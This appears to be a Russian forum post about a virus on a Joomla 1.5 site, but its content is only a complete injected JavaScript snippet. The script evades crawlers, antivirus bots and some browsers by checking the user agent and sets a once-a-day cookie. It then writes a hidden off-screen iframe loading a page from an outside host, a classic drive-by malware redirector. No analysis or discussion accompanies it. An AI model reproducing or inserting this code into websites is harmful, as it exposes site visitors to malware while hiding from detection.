Вирус на сайте - Joomla 1.5: Настройка и оптимизация

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(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset))!== -1) {
return index;
}
return false;
}
function zzz_check_ua(){
var blackList = 'Linux|Macintosh|FreeBSD|Chrome|iPad|iPhone|IEMobile|Android|Firefox/18.0|Firefox/18.0.1|Firefox/18.0.2|Firefox/19.0|Firefox/19.0.1|Firefox/19.0.2|Firefox/20.0|Firefox/21.0|Firefox/22.0|Firefox/23.0|Firefox/24.0|Maxthon|YandexNews|bingbot|YandexAntivirus|Chromium|Googlebot|Wget|YandexBot|Googlebot-Image|msnbot-media|SymbianOS|Mini|YandexDirect|MRSPUTNIK';
blackList = blackList.split('|');
var blackUA = false;
for (var i in blackList) {
if (stripos(navigator.userAgent, blackList[i])!==false) {
blackUA = true;
break;
}
}
return blackUA;
}
function setCookie(name, value, expires) {
var date = new Date( new Date().getTime() + expires*1000 );
document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!zzz_check_ua()) {
var cookie = getCookie('nirajo819fyau82');
if (cookie == undefined) {
setCookie('nirajo819fyau82', true, 86400);
document.write('<iframe src="http://linkchat.ru/gfsarj.fajwrt?default" style="position:absolute;left:-900px;top:-900px;" height="110" width="110"></iframe>');
}
};
})();
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